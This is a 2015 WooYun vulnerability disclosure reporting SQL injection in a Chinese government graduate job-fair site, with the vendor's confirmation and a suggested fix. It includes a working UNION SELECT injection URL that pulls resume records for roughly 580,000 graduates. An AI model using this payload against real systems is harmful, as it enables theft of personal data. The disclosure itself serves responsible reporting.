当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-0146361
漏洞标题：
人社部高校毕业生招聘会官网注入漏洞
相关厂商：
cncert
漏洞作者：
ksss
提交时间：
2015-10-13 12:10
修复时间：
2015-11-30 15:30
公开时间：
2015-11-30 15:30
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
15
漏洞状态：
已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-10-13： 细节已通知厂商并且等待厂商处理中
2015-10-16： 厂商已经确认，细节仅向厂商公开
2015-10-26： 细节向核心白帽子及相关领域专家公开
2015-11-05： 细节向普通白帽子公开
2015-11-15： 细节向实习白帽子公开
2015-11-30： 细节向公众公开

简要描述：

一次招聘就投过来58W个应届生简历，每年这么多高校生工作压力很大啊。。。。

详细说明：

看到人力资源和社会保障部的高校应届生招聘会
人社部高校毕业生招聘会官网注入漏洞（22库/上千表/58W高校生简历)

QQ截图20151013094828.png


跟过去，找到这个ip
**.**.**.**

QQ截图20151013095559.png


10月15日，快开始了
问题出在城市介绍页面，cid未严格过滤

http://**.**.**.**/rcfww/typical/unioninvite/viewCityInfo.action?ct_id=2b69a4f2-1523-4dde-ba24-03ca39e18eea


QQ截图20151013101013.png


22库，当前库的这张简历表中有58万份简历，60多个字段，信息记录的非常详细

QQ截图20151013101146.png


http://**.**.**.**/rcfww/typical/unioninvite/viewCityInfo.action?ct_id=-9528%27%20UNION%20ALL%20SELECT%20NULL,RESUMENAME,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20P_RESUME%20where%20rownum=1%20and%20address%20not%20in%20(select%20address%20FROM%20P_RESUME%20where%20rownum%20%3C5)--


QQ截图20151013101500.png


QQ截图20151013102109.png


简历信息包含姓名/学校专业/联系方式/就业意向等等等等
ORacle的数据库，dba权限可以直接拿机器

漏洞证明：

QQ截图20151013101146.png


QQ截图20151013101500.png

修复方案：

参数过滤

版权声明：转载请注明来源 ksss@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-10-16 15:28

厂商回复：


CNVD确认并复现所述情况，已经转由CNCERT向国家上级信息安全协调机构上报，由其后续协调网站管理单位处置。

最新状态：

暂无